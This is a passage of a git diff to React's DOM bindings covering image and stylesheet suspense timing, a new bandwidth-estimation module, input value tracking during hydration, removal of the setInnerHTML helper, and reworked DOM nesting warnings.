+    // $FlowFixMe[prop-missing]
+    typeof instance.decode === 'function'
+  ) {
+    // If this browser supports decode() API, we use it to suspend waiting on the image.
+    // The loading should have already started at this point, so it should be enough to
+    // just call decode() which should also wait for the data to finish loading.
+    state.imgCount++;
+    // Estimate the byte size that we're about to download based on the width/height
+    // specified in the props. This is best practice to know ahead of time but if it's
+    // unspecified we'll fallback to a guess of 100x100 pixels.
+    if (!(instance: any).complete) {
+      state.imgBytes += estimateImageBytes((instance: any));
+      state.suspenseyImages.push((instance: any));
+    }
+    const ping = onUnsuspendImg.bind(state);
+    // $FlowFixMe[prop-missing]
+    instance.decode().then(ping, ping);
+  }
 }
 
 export function suspendResource(
+  state: SuspendedState,
   hoistableRoot: HoistableRoot,
   resource: Resource,
   props: any,
 ): void {
-  if (suspendedState === null) {
-    throw new Error(
-      'Internal React Error: suspendedState null when it was expected to exists. Please report this as a React bug.',
-    );
-  }
-  const state = suspendedState;
   if (resource.type === 'stylesheet') {
     if (typeof props.media === 'string') {
       // If we don't currently match media we avoid suspending on this resource
@@ -3376,15 +6375,37 @@ export function suspendResource(
   }
 }
 
-export function waitForCommitToBeReady(): null | (Function => Function) {
-  if (suspendedState === null) {
-    throw new Error(
-      'Internal React Error: suspendedState null when it was expected to exists. Please report this as a React bug.',
-    );
+export function suspendOnActiveViewTransition(
+  state: SuspendedState,
+  rootContainer: Container,
+): void {
+  const ownerDocument =
+    rootContainer.nodeType === DOCUMENT_NODE
+      ? rootContainer
+      : rootContainer.ownerDocument;
+  // $FlowFixMe[prop-missing]
+  const activeViewTransition = ownerDocument.__reactViewTransition;
+  if (activeViewTransition == null) {
+    return;
   }
+  state.count++;
+  state.waitingForViewTransition = true;
+  const ping = onUnsuspend.bind(state);
+  activeViewTransition.finished.then(ping, ping);
+}
 
-  const state = suspendedState;
+const SUSPENSEY_STYLESHEET_TIMEOUT = 60000;
 
+const SUSPENSEY_IMAGE_TIMEOUT = 800;
+
+const SUSPENSEY_IMAGE_TIME_ESTIMATE = 500;
+
+let estimatedBytesWithinLimit: number = 0;
+
+export function waitForCommitToBeReady(
+  state: SuspendedState,
+  timeoutOffset: number,
+): null | ((() => void) => () => void) {
   if (state.stylesheets && state.count === 0) {
     // We are not currently blocked but we have not inserted all stylesheets.
     // If this insertion happens and loads or errors synchronously then we can
@@ -3394,7 +6415,7 @@ export function waitForCommitToBeReady(): null | (Function => Function) {
 
   // We need to check the count again because the inserted stylesheets may have led to new
   // tasks to wait on.
-  if (state.count > 0) {
+  if (state.count > 0 || state.imgCount > 0) {
     return commit => {
       // We almost never want to show content before its styles have loaded. But
       // eventually we will give up and allow unstyled content. So this number is
@@ -3411,37 +6432,96 @@ export function waitForCommitToBeReady(): null | (Function => Function) {
           state.unsuspend = null;
           unsuspend();
         }
-      }, 60000); // one minute
+      }, SUSPENSEY_STYLESHEET_TIMEOUT + timeoutOffset);
+
+      if (state.imgBytes > 0 && estimatedBytesWithinLimit === 0) {
+        // Estimate how many bytes we can download in 500ms.
+        const mbps = estimateBandwidth();
+        estimatedBytesWithinLimit = mbps * 125 * SUSPENSEY_IMAGE_TIME_ESTIMATE;
+      }
+      // If we have more images to download than we expect to fit in the timeout, then
+      // don't wait for images longer than 50ms. The 50ms lets us still do decoding and
+      // hitting caches if it turns out that they're already in the HTTP cache.
+      const imgTimeout =
+        state.imgBytes > estimatedBytesWithinLimit
+          ? 50
+          : SUSPENSEY_IMAGE_TIMEOUT;
+      const imgTimer = setTimeout(() => {
+        // We're no longer blocked on images. If CSS resolves after this we can commit.
+        state.waitingForImages = false;
+        if (state.count === 0) {
+          if (state.stylesheets) {
+            insertSuspendedStylesheets(state, state.stylesheets);
+          }
+          if (state.unsuspend) {
+            const unsuspend = state.unsuspend;
+            state.unsuspend = null;
+            unsuspend();
+          }
+        }
+      }, imgTimeout + timeoutOffset);
 
       state.unsuspend = commit;
 
       return () => {
         state.unsuspend = null;
         clearTimeout(stylesheetTimer);
+        clearTimeout(imgTimer);
       };
     };
   }
   return null;
 }
 
-function onUnsuspend(this: SuspendedState) {
-  this.count--;
-  if (this.count === 0) {
-    if (this.stylesheets) {
+export function getSuspendedCommitReason(
+  state: SuspendedState,
+  rootContainer: Container,
+): null | string {
+  if (state.waitingForViewTransition) {
+    return 'Waiting for the previous Animation';
+  }
+  if (state.count > 0) {
+    if (state.imgCount > 0) {
+      return 'Suspended on CSS and Images';
+    }
+    return 'Suspended on CSS';
+  }
+  if (state.imgCount === 1) {
+    return 'Suspended on an Image';
+  }
+  if (state.imgCount > 0) {
+    return 'Suspended on Images';
+  }
+  return null;
+}
+
+function checkIfFullyUnsuspended(state: SuspendedState) {
+  if (state.count === 0 && (state.imgCount === 0 || !state.waitingForImages)) {
+    if (state.stylesheets) {
       // If we haven't actually inserted the stylesheets yet we need to do so now before starting the commit.
       // The reason we do this after everything else has finished is because we want to have all the stylesheets
       // load synchronously right before mutating. Ideally the new styles will cause a single recalc only on the
       // new tree. When we filled up stylesheets we only inlcuded stylesheets with matching media attributes so we
       // wait for them to load before actually continuing. We expect this to increase the count above zero
-      insertSuspendedStylesheets(this, this.stylesheets);
-    } else if (this.unsuspend) {
-      const unsuspend = this.unsuspend;
-      this.unsuspend = null;
+      insertSuspendedStylesheets(state, state.stylesheets);
+    } else if (state.unsuspend) {
+      const unsuspend = state.unsuspend;
+      state.unsuspend = null;
       unsuspend();
     }
   }
 }
 
+function onUnsuspend(this: SuspendedState) {
+  this.count--;
+  checkIfFullyUnsuspended(this);
+}
+
+function onUnsuspendImg(this: SuspendedState) {
+  this.imgCount--;
+  checkIfFullyUnsuspended(this);
+}
+
 // We use a value that is type distinct from precedence to track which one is last.
 // This ensures there is no collision with user defined precedences. Normally we would
 // just track this in module scope but since the precedences are tracked per HoistableRoot
@@ -3505,12 +6585,16 @@ function insertStylesheetIntoRoot(
     for (let i = 0; i < nodes.length; i++) {
       const node = nodes[i];
       if (
-        node.nodeName === 'link' ||
+        node.nodeName === 'LINK' ||
         // We omit style tags with media="not all" because they are not in the right position
         // and will be hoisted by the Fizz runtime imminently.
         node.getAttribute('media') !== 'not all'
       ) {
-        precedences.set(node.dataset.precedence, node);
+        precedences.set(
+          // $FlowFixMe[prop-missing]
+          node.dataset.precedence,
+          node,
+        );
         last = node;
       }
     }
@@ -3550,8 +6634,18 @@ function insertStylesheetIntoRoot(
 }
 
 export const NotPendingTransition: TransitionStatus = NotPending;
+export const HostTransitionContext: ReactContext<TransitionStatus> = {
+  $$typeof: REACT_CONTEXT_TYPE,
+  Provider: (null: any),
+  Consumer: (null: any),
+  _currentValue: NotPendingTransition,
+  _currentValue2: NotPendingTransition,
+  _threadCount: 0,
+};
 
 export type FormInstance = HTMLFormElement;
 export function resetFormInstance(form: FormInstance): void {
+  ReactBrowserEventEmitterSetEnabled(true);
   form.reset();
+  ReactBrowserEventEmitterSetEnabled(false);
 }
diff --git a/packages/react-dom-bindings/src/client/ReactInputSelection.js b/packages/react-dom-bindings/src/client/ReactInputSelection.js
index 1a3d63b367f6..36cdc554f0f4 100644
--- a/packages/react-dom-bindings/src/client/ReactInputSelection.js
+++ b/packages/react-dom-bindings/src/client/ReactInputSelection.js
@@ -56,9 +56,14 @@ function isSameOriginFrame(iframe) {
   }
 }
 
-function getActiveElementDeep() {
-  let win = window;
-  let element = getActiveElement();
+function getActiveElementDeep(containerInfo) {
+  let win =
+    containerInfo != null &&
+    containerInfo.ownerDocument != null &&
+    containerInfo.ownerDocument.defaultView != null
+      ? containerInfo.ownerDocument.defaultView
+      : window;
+  let element = getActiveElement(win.document);
   while (element instanceof win.HTMLIFrameElement) {
     if (isSameOriginFrame(element)) {
       win = element.contentWindow;
@@ -97,8 +102,8 @@ export function hasSelectionCapabilities(elem) {
   );
 }
 
-export function getSelectionInformation() {
-  const focusedElem = getActiveElementDeep();
+export function getSelectionInformation(containerInfo) {
+  const focusedElem = getActiveElementDeep(containerInfo);
   return {
     focusedElem: focusedElem,
     selectionRange: hasSelectionCapabilities(focusedElem)
@@ -112,8 +117,8 @@ export function getSelectionInformation() {
  * restore it. This is useful when performing operations that could remove dom
  * nodes and place them back in, resulting in focus being lost.
  */
-export function restoreSelection(priorSelectionInformation) {
-  const curFocusedElem = getActiveElementDeep();
+export function restoreSelection(priorSelectionInformation, containerInfo) {
+  const curFocusedElem = getActiveElementDeep(containerInfo);
   const priorFocusedElem = priorSelectionInformation.focusedElem;
   const priorSelectionRange = priorSelectionInformation.selectionRange;
   if (curFocusedElem !== priorFocusedElem && isInDocument(priorFocusedElem)) {
diff --git a/packages/react-dom-bindings/src/client/estimateBandwidth.js b/packages/react-dom-bindings/src/client/estimateBandwidth.js
new file mode 100644
index 000000000000..4b143a5b562c
--- /dev/null
+++ b/packages/react-dom-bindings/src/client/estimateBandwidth.js
@@ -0,0 +1,112 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+function isLikelyStaticResource(initiatorType: string) {
+  switch (initiatorType) {
+    case 'css':
+    case 'script':
+    case 'font':
+    case 'img':
+    case 'image':
+    case 'input':
+    case 'link':
+      return true;
+    default:
+      return false;
+  }
+}
+
+export default function estimateBandwidth(): number {
+  // Estimate the current bandwidth for downloading static resources given resources already
+  // loaded.
+  // $FlowFixMe[method-unbinding]
+  if (typeof performance.getEntriesByType === 'function') {
+    let count = 0;
+    let bits = 0;
+    const resourceEntries = performance.getEntriesByType('resource');
+    for (let i = 0; i < resourceEntries.length; i++) {
+      const entry = resourceEntries[i];
+      // $FlowFixMe[prop-missing]
+      const transferSize: number = entry.transferSize;
+      // $FlowFixMe[prop-missing]
+      const initiatorType: string = entry.initiatorType;
+      const duration = entry.duration;
+      if (
+        !transferSize ||
+        !duration ||
+        !isLikelyStaticResource(initiatorType)
+      ) {
+        // Skip cached, cross-orgin entries and resources likely to be dynamically generated.
+        continue;
+      }
+      // Find any overlapping entries that were transferring at the same time since the total
+      // bps at the time will include those bytes.
+      let overlappingBytes = 0;
+      // $FlowFixMe[prop-missing]
+      const parentEndTime: number = entry.responseEnd;
+      let j;
+      for (j = i + 1; j < resourceEntries.length; j++) {
+        const overlapEntry = resourceEntries[j];
+        const overlapStartTime = overlapEntry.startTime;
+        if (overlapStartTime > parentEndTime) {
+          break;
+        }
+        // $FlowFixMe[prop-missing]
+        const overlapTransferSize: number = overlapEntry.transferSize;
+        // $FlowFixMe[prop-missing]
+        const overlapInitiatorType: string = overlapEntry.initiatorType;
+        if (
+          !overlapTransferSize ||
+          !isLikelyStaticResource(overlapInitiatorType)
+        ) {
+          // Skip cached, cross-orgin entries and resources likely to be dynamically generated.
+          continue;
+        }
+        // $FlowFixMe[prop-missing]
+        const overlapEndTime: number = overlapEntry.responseEnd;
+        const overlapFactor =
+          overlapEndTime < parentEndTime
+            ? 1
+            : (parentEndTime - overlapStartTime) /
+              (overlapEndTime - overlapStartTime);
+        overlappingBytes += overlapTransferSize * overlapFactor;
+      }
+      // Skip past any entries we already considered overlapping. Otherwise we'd have to go
+      // back to consider previous entries when we then handled them.
+      i = j - 1;
+
+      const bps =
+        ((transferSize + overlappingBytes) * 8) / (entry.duration / 1000);
+      bits += bps;
+      count++;
+      if (count > 10) {
+        // We have enough to get an average.
+        break;
+      }
+    }
+    if (count > 0) {
+      return bits / count / 1e6;
+    }
+  }
+
+  // Fallback to the navigator.connection estimate if available
+  // $FlowFixMe[prop-missing]
+  if (navigator.connection) {
+    // $FlowFixMe
+    const downlink: ?number = navigator.connection.downlink;
+    if (typeof downlink === 'number') {
+      return downlink;
+    }
+  }
+
+  // Otherwise, use a default of 5mbps to compute heuristics.
+  // This can happen commonly in Safari if all static resources and images are loaded
+  // cross-orgin.
+  return 5;
+}
diff --git a/packages/react-dom-bindings/src/client/inputValueTracking.js b/packages/react-dom-bindings/src/client/inputValueTracking.js
index 5e1ca5868781..e931283e6020 100644
--- a/packages/react-dom-bindings/src/client/inputValueTracking.js
+++ b/packages/react-dom-bindings/src/client/inputValueTracking.js
@@ -51,18 +51,16 @@ function getValueFromNode(node: HTMLInputElement): string {
   return value;
 }
 
-function trackValueOnNode(node: any): ?ValueTracker {
-  const valueField = isCheckable(node) ? 'checked' : 'value';
+function trackValueOnNode(
+  node: any,
+  valueField: 'checked' | 'value',
+  currentValue: string,
+): ?ValueTracker {
   const descriptor = Object.getOwnPropertyDescriptor(
     node.constructor.prototype,
     valueField,
   );
 
-  if (__DEV__) {
-    checkFormFieldValueStringCoercion(node[valueField]);
-  }
-  let currentValue = '' + node[valueField];
-
   // if someone has already defined a value or Safari, then bail
   // and don't track value will cause over reporting of changes,
   // but it's better then a hard failure
@@ -123,7 +121,42 @@ export function track(node: ElementWithValueTracker) {
     return;
   }
 
-  node._valueTracker = trackValueOnNode(node);
+  const valueField = isCheckable(node) ? 'checked' : 'value';
+  // This is read from the DOM so always safe to coerce. We really shouldn't
+  // be coercing to a string at all. It's just historical.
+  // eslint-disable-next-line react-internal/safe-string-coercion
+  const initialValue = '' + (node[valueField]: any);
+  node._valueTracker = trackValueOnNode(node, valueField, initialValue);
+}
+
+export function trackHydrated(
+  node: ElementWithValueTracker,
+  initialValue: string,
+  initialChecked: boolean,
+): boolean {
+  // For hydration, the initial value is not the current value but the value
+  // that we last observed which is what the initial server render was.
+  if (getTracker(node)) {
+    return false;
+  }
+
+  let valueField: 'checked' | 'value';
+  let expectedValue;
+  if (isCheckable(node)) {
+    valueField = 'checked';
+    // eslint-disable-next-line react-internal/safe-string-coercion
+    expectedValue = '' + (initialChecked: any);
+  } else {
+    valueField = 'value';
+    expectedValue = initialValue;
+  }
+  const currentValue =
+    // eslint-disable-next-line react-internal/safe-string-coercion
+    '' +
+    (// $FlowFixMe[prop-missing]
+    node[valueField]: any);
+  node._valueTracker = trackValueOnNode(node, valueField, expectedValue);
+  return currentValue !== expectedValue;
 }
 
 export function updateValueIfChanged(node: ElementWithValueTracker): boolean {
diff --git a/packages/react-dom-bindings/src/client/setInnerHTML.js b/packages/react-dom-bindings/src/client/setInnerHTML.js
deleted file mode 100644
index 5f0d630fd38b..000000000000
--- a/packages/react-dom-bindings/src/client/setInnerHTML.js
+++ /dev/null
@@ -1,82 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-/* globals MSApp */
-
-import {SVG_NAMESPACE} from './DOMNamespaces';
-import {enableTrustedTypesIntegration} from 'shared/ReactFeatureFlags';
-
-// SVG temp container for IE lacking innerHTML
-let reusableSVGContainer: HTMLElement;
-
-function setInnerHTMLImpl(
-  node: Element,
-  html: {valueOf(): {toString(): string, ...}, ...},
-): void {
-  if (node.namespaceURI === SVG_NAMESPACE) {
-    if (__DEV__) {
-      if (enableTrustedTypesIntegration) {
-        // TODO: reconsider the text of this warning and when it should show
-        // before enabling the feature flag.
-        if (typeof trustedTypes !== 'undefined') {
-          console.error(
-            "Using 'dangerouslySetInnerHTML' in an svg element with " +
-              'Trusted Types enabled in an Internet Explorer will cause ' +
-              'the trusted value to be converted to string. Assigning string ' +
-              "to 'innerHTML' will throw an error if Trusted Types are enforced. " +
-              "You can try to wrap your svg element inside a div and use 'dangerouslySetInnerHTML' " +
-              'on the enclosing div instead.',
-          );
-        }
-      }
-    }
-    if (!('innerHTML' in node)) {
-      // IE does not have innerHTML for SVG nodes, so instead we inject the
-      // new markup in a temp node and then move the child nodes across into
-      // the target node
-      reusableSVGContainer =
-        reusableSVGContainer || document.createElement('div');
-      reusableSVGContainer.innerHTML =
-        '<svg>' + html.valueOf().toString() + '</svg>';
-      const svgNode = reusableSVGContainer.firstChild;
-      while (node.firstChild) {
-        node.removeChild(node.firstChild);
-      }
-      // $FlowFixMe[incompatible-use]
-      // $FlowFixMe[incompatible-type]
-      while (svgNode.firstChild) {
-        node.appendChild(svgNode.firstChild);
-      }
-      return;
-    }
-  }
-  node.innerHTML = (html: any);
-}
-
-let setInnerHTML: (
-  node: Element,
-  html: {valueOf(): {toString(): string, ...}, ...},
-) => void = setInnerHTMLImpl;
-// $FlowFixMe[cannot-resolve-name]
-if (typeof MSApp !== 'undefined' && MSApp.execUnsafeLocalFunction) {
-  /**
-   * Create a function which has 'unsafe' privileges (required by windows8 apps)
-   */
-  setInnerHTML = function (
-    node: Element,
-    html: {valueOf(): {toString(): string, ...}, ...},
-  ): void {
-    // $FlowFixMe[cannot-resolve-name]
-    return MSApp.execUnsafeLocalFunction(function () {
-      return setInnerHTMLImpl(node, html);
-    });
-  };
-}
-
-export default setInnerHTML;
diff --git a/packages/react-dom-bindings/src/client/validateDOMNesting.js b/packages/react-dom-bindings/src/client/validateDOMNesting.js
index 4ac56d446321..47aef9353ba8 100644
--- a/packages/react-dom-bindings/src/client/validateDOMNesting.js
+++ b/packages/react-dom-bindings/src/client/validateDOMNesting.js
@@ -7,7 +7,52 @@
  * @flow
  */
 
-import {getCurrentParentStackInDev} from 'react-reconciler/src/ReactCurrentFiber';
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {HydrationDiffNode} from 'react-reconciler/src/ReactFiberHydrationDiffs';
+
+import {
+  current,
+  runWithFiberInDEV,
+} from 'react-reconciler/src/ReactCurrentFiber';
+import {
+  HostComponent,
+  HostHoistable,
+  HostSingleton,
+  HostText,
+} from 'react-reconciler/src/ReactWorkTags';
+
+import {describeDiff} from 'react-reconciler/src/ReactFiberHydrationDiffs';
+
+function describeAncestors(
+  ancestor: Fiber,
+  child: Fiber,
+  props: null | {children: null},
+): string {
+  let fiber: null | Fiber = child;
+  let node: null | HydrationDiffNode = null;
+  let distanceFromLeaf = 0;
+  while (fiber) {
+    if (fiber === ancestor) {
+      distanceFromLeaf = 0;
+    }
+    node = {
+      fiber: fiber,
+      children: node !== null ? [node] : [],
+      serverProps:
+        fiber === child ? props : fiber === ancestor ? null : undefined,
+      serverTail: [],
+      distanceFromLeaf: distanceFromLeaf,
+    };
+    distanceFromLeaf++;
+    fiber = fiber.return;
+  }
+  if (node !== null) {
+    // Describe the node using the hydration diff logic.
+    // Replace + with - to mark ancestor and child. It's kind of arbitrary.
+    return describeDiff(node).replaceAll(/^[+-]/gm, '>');
+  }
+  return '';
+}
 
 type Info = {tag: string};
 export type AncestorInfoDev = {
@@ -24,6 +69,7 @@ export type AncestorInfoDev = {
 
   // <head> or <body>
   containerTagInScope: ?Info,
+  implicitRootScope: boolean,
 };
 
 // This validation code was written based on the HTML5 parsing spec:
@@ -172,10 +218,11 @@ const emptyAncestorInfoDev: AncestorInfoDev = {
   dlItemTagAutoclosing: null,
 
   containerTagInScope: null,
+  implicitRootScope: false,
 };
 
 function updatedAncestorInfoDev(
-  oldInfo: ?AncestorInfoDev,
+  oldInfo: null | AncestorInfoDev,
   tag: string,
 ): AncestorInfoDev {
   if (__DEV__) {
@@ -191,14 +238,14 @@ function updatedAncestorInfoDev(
       ancestorInfo.pTagInButtonScope = null;
     }
 
-    // See rules for 'li', 'dd', 'dt' start tags in
-    // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody
     if (
       specialTags.indexOf(tag) !== -1 &&
       tag !== 'address' &&
       tag !== 'div' &&
       tag !== 'p'
     ) {
+      // See rules for 'li', 'dd', 'dt' start tags in
+      // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inbody
       ancestorInfo.listItemTagAutoclosing = null;
       ancestorInfo.dlItemTagAutoclosing = null;
     }
@@ -232,6 +279,17 @@ function updatedAncestorInfoDev(
       ancestorInfo.containerTagInScope = info;
     }
 
+    if (
+      oldInfo === null &&
+      (tag === '#document' || tag === 'html' || tag === 'body')
+    ) {
+      // While <head> is also a singleton we don't want to support semantics where
+      // you can escape the head by rendering a body singleton so we treat it like a normal scope
+      ancestorInfo.implicitRootScope = true;
+    } else if (ancestorInfo.implicitRootScope === true) {
+      ancestorInfo.implicitRootScope = false;
+    }
+
     return ancestorInfo;
   } else {
     return (null: any);
@@ -241,7 +299,11 @@ function updatedAncestorInfoDev(
 /**
  * Returns whether
  */
-function isTagValidWithParent(tag: string, parentTag: ?string): boolean {
+function isTagValidWithParent(
+  tag: string,
+  parentTag: ?string,
+  implicitRootScope: boolean,
+): boolean {
   // First, let's check if we're in an unusual parsing mode...
   switch (parentTag) {
     // https://html.spec.whatwg.org/multipage/syntax.html#parsing-main-inselect
@@ -250,6 +312,8 @@ function isTagValidWithParent(tag: string, parentTag: ?string): boolean {
         tag === 'hr' ||
         tag === 'option' ||
         tag === 'optgroup' ||
+        tag === 'script' ||
+        tag === 'template' ||
         tag === '#text'
       );
     case 'optgroup':
@@ -314,10 +378,22 @@ function isTagValidWithParent(tag: string, parentTag: ?string): boolean {
       );
     // https://html.spec.whatwg.org/multipage/semantics.html#the-html-element
     case 'html':
+      if (implicitRootScope) {
+        // When our parent tag is html and we're in the root scope we will actually
+        // insert most tags into the body so we need to fall through to validating
+        // the specific tag with "in body" parsing mode below
+        break;
+      }
       return tag === 'head' || tag === 'body' || tag === 'frameset';
     case 'frameset':
       return tag === 'frame';
     case '#document':
+      if (implicitRootScope) {
+        // When our parent is the Document and we're in the root scope we will actually
+        // insert most tags into the body so we need to fall through to validating
+        // the specific tag with "in body" parsing mode below
+        break;
+      }
       return tag === 'html';
   }
 
@@ -344,14 +420,11 @@ function isTagValidWithParent(tag: string, parentTag: ?string): boolean {
     case 'rt':
       return impliedEndTags.indexOf(parentTag) === -1;
 
-    case 'body':
     case 'caption':
     case 'col':
     case 'colgroup':
     case 'frameset':
     case 'frame':
-    case 'head':
-    case 'html':
     case 'tbody':
     case 'td':
     case 'tfoot':
@@ -363,6 +436,24 @@ function isTagValidWithParent(tag: string, parentTag: ?string): boolean {
       // so we allow it only if we don't know what the parent is, as all other
       // cases are invalid.
       return parentTag == null;
+    case 'head':
+      // We support rendering <head> in the root when the container is
+      // #document, <html>, or <body>.
+      return implicitRootScope || parentTag === null;
+    case 'html':
+      // We support rendering <html> in the root when the container is
+      // #document
+      return (
+        (implicitRootScope && parentTag === '#document') || parentTag === null
+      );
+    case 'body':
+      // We support rendering <body> in the root when the container is
+      // #document or <html>
+      return (
+        (implicitRootScope &&
+          (parentTag === '#document' || parentTag === 'html')) ||
+        parentTag === null
+      );
   }
 
   return true;
@@ -440,6 +531,21 @@ function findInvalidAncestorForTag(
 
 const didWarn: {[string]: boolean} = {};
 
+function findAncestor(parent: null | Fiber, tagName: string): null | Fiber {
+  while (parent) {
+    switch (parent.tag) {
+      case HostComponent:
+      case HostHoistable:
+      case HostSingleton:
+        if (parent.type === tagName) {
+          return parent;
+        }
+    }
+    parent = parent.return;
+  }
+  return null;
+}
+
 function validateDOMNesting(
   childTag: string,
   ancestorInfo: AncestorInfoDev,
@@ -449,7 +555,11 @@ function validateDOMNesting(
     const parentInfo = ancestorInfo.current;
     const parentTag = parentInfo && parentInfo.tag;
 
-    const invalidParent = isTagValidWithParent(childTag, parentTag)
+    const invalidParent = isTagValidWithParent(
+      childTag,
+      parentTag,
+      ancestorInfo.implicitRootScope,
+    )
       ? null
       : parentInfo;
     const invalidAncestor = invalidParent
@@ -470,6 +580,14 @@ function validateDOMNesting(
     }
     didWarn[warnKey] = true;
 
+    const child = current;
+    const ancestor = child ? findAncestor(child.return, ancestorTag) : null;
+
+    const ancestorDescription =
+      child !== null && ancestor !== null
+        ? describeAncestors(ancestor, child, null)
+        : '';
+
     const tagDisplayName = '<' + childTag + '>';
     if (invalidParent) {
       let info = '';
@@ -478,76 +596,93 @@ function validateDOMNesting(
           ' Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated by ' +
           'the browser.';
       }
-      // Don't transform into consoleWithStackDev here because we add a manual stack.
-      // We use the parent stack here instead of the owner stack because the parent
-      // stack has more useful context for nesting.
-      // TODO: Format this as a linkified "diff view" with props instead of
-      // a stack trace since the stack trace format is now for owner stacks.
-      console['error'](
+      console.error(
         'In HTML, %s cannot be a child of <%s>.%s\n' +
           'This will cause a hydration error.%s',
         tagDisplayName,
         ancestorTag,
         info,
-        getCurrentParentStackInDev(),
+        ancestorDescription,
       );
     } else {
-      // Don't transform into consoleWithStackDev here because we add a manual stack.
-      // We use the parent stack here instead of the owner stack because the parent
-      // stack has more useful context for nesting.
-      // TODO: Format this as a linkified "diff view" with props instead of
-      // a stack trace since the stack trace format is now for owner stacks.
-      console['error'](
+      console.error(
         'In HTML, %s cannot be a descendant of <%s>.\n' +
           'This will cause a hydration error.%s',
         tagDisplayName,
         ancestorTag,
-        getCurrentParentStackInDev(),
+        ancestorDescription,
       );
     }
+    if (child) {
+      // For debugging purposes find the nearest ancestor that caused the issue.
+      // The stack trace of this ancestor can be useful to find the cause.
+      // If the parent is a direct parent in the same owner, we don't bother.
+      const parent = child.return;
+      if (
+        ancestor !== null &&
+        parent !== null &&
+        (ancestor !== parent || parent._debugOwner !== child._debugOwner)
+      ) {
+        runWithFiberInDEV(ancestor, () => {
+          console.error(
+            // We repeat some context because this log might be taken out of context
+            // such as in React DevTools or grouped server logs.
+            '<%s> cannot contain a nested %s.\n' +
+              'See this log for the ancestor stack trace.',
+            ancestorTag,
+            tagDisplayName,
+          );
+        });
+      }
+    }
     return false;
   }
   return true;
 }
 
-function validateTextNesting(childText: string, parentTag: string): boolean {
+function validateTextNesting(
+  childText: string,
+  parentTag: string,
+  implicitRootScope: boolean,
+): boolean {
   if (__DEV__) {
-    if (isTagValidWithParent('#text', parentTag)) {
+    if (implicitRootScope || isTagValidWithParent('#text', parentTag, false)) {
       return true;
     }
 
-    // eslint-disable-next-line react-internal/safe-string-coercion
     const warnKey = '#text|' + parentTag;
     if (didWarn[warnKey]) {
       return false;
     }
     didWarn[warnKey] = true;
 
+    const child = current;
+    const ancestor = child ? findAncestor(child, parentTag) : null;
+
+    const ancestorDescription =
+      child !== null && ancestor !== null
+        ? describeAncestors(
+            ancestor,
+            child,
+            child.tag !== HostText ? {children: null} : null,
+          )
+        : '';
+
     if (/\S/.test(childText)) {
-      // Don't transform into consoleWithStackDev here because we add a manual stack.
-      // We use the parent stack here instead of the owner stack because the parent
-      // stack has more useful context for nesting.
-      // TODO: Format this as a linkified "diff view" with props instead of
-      // a stack trace since the stack trace format is now for owner stacks.
-      console['error'](
+      console.error(
         'In HTML, text nodes cannot be a child of <%s>.\n' +
           'This will cause a hydration error.%s',
         parentTag,
-        getCurrentParentStackInDev(),
+        ancestorDescription,
       );
     } else {
-      // Don't transform into consoleWithStackDev here because we add a manual stack.
-      // We use the parent stack here instead of the owner stack because the parent
-      // stack has more useful context for nesting.
-      // TODO: Format this as a linkified "diff view" with props instead of
-      // a stack trace since the stack trace format is now for owner stacks.
-      console['error'](
+      console.error(
         'In HTML, whitespace text nodes cannot be a child of <%s>. ' +
           "Make sure you don't have any extra whitespace between tags on " +
           'each line of your source code.\n' +
           'This will cause a hydration error.%s',
         parentTag,
-        getCurrentParentStackInDev(),
+        ancestorDescription,
       );
     }
     return false;
diff --git a/packages/react-dom-bindings/src/events/DOMEventNames.js b/packages/react-dom-bindings/src/events/DOMEventNames.js
index 73f0e2f632c5..579762b6962d 100644
--- a/packages/react-dom-bindings/src/events/DOMEventNames.js
+++ b/packages/react-dom-bindings/src/events/DOMEventNames.js
@@ -51,6 +51,7 @@ export type DOMEventName =
   | 'focusin'
   | 'focusout'
   | 'fullscreenchange'
+  | 'fullscreenerror'
   | 'gotpointercapture'
   | 'hashchange'
   | 'input'
diff --git a/packages/react-dom-bindings/src/events/DOMEventProperties.js b/packages/react-dom-bindings/src/events/DOMEventProperties.js
index 7dc4bee90107..6b2e80ecd1eb 100644
--- a/packages/react-dom-bindings/src/events/DOMEventProperties.js
+++ b/packages/react-dom-bindings/src/events/DOMEventProperties.js
@@ -20,7 +20,10 @@ import {
   TRANSITION_END,
 } from './DOMEventNames';
 
-import {enableCreateEventHandleAPI} from 'shared/ReactFeatureFlags';
+import {
+  enableCreateEventHandleAPI,
+  enableScrollEndPolyfill,
+} from 'shared/ReactFeatureFlags';
 
 export const topLevelEventsToReactNames: Map<DOMEventName, string | null> =
   new Map();
@@ -59,6 +62,8 @@ const simpleEventPluginEvents = [
   'encrypted',
   'ended',
   'error',
+  'fullscreenChange',
+  'fullscreenError',
   'gotPointerCapture',
   'input',
   'invalid',
@@ -100,13 +105,16 @@ const simpleEventPluginEvents = [
   'touchStart',
   'volumeChange',
   'scroll',
-  'scrollEnd',
   'toggle',
   'touchMove',
   'waiting',
   'wheel',
 ];
 
+if (!enableScrollEndPolyfill) {
+  simpleEventPluginEvents.push('scrollEnd');
+}
+
 if (enableCreateEventHandleAPI) {
   // Special case: these two events don't have on* React handler
   // and are only accessible via the createEventHandle API.
diff --git a/packages/react-dom-bindings/src/events/DOMPluginEventSystem.js b/packages/react-dom-bindings/src/events/DOMPluginEventSystem.js
index 5c3c9bffa129..e30c4798371d 100644
--- a/packages/react-dom-bindings/src/events/DOMPluginEventSystem.js
+++ b/packages/react-dom-bindings/src/events/DOMPluginEventSystem.js
@@ -36,6 +36,7 @@ import {
   HostText,
   ScopeComponent,
 } from 'react-reconciler/src/ReactWorkTags';
+import {getLowestCommonAncestor} from 'react-reconciler/src/ReactFiberTreeReflection';
 
 import getEventTarget from './getEventTarget';
 import {
@@ -52,7 +53,8 @@ import {
   enableLegacyFBSupport,
   enableCreateEventHandleAPI,
   enableScopeAPI,
-  enableOwnerStacks,
+  disableCommentsAsDOMContainers,
+  enableScrollEndPolyfill,
 } from 'shared/ReactFeatureFlags';
 import {createEventListenerWrapperWithPriority} from './ReactDOMEventListener';
 import {
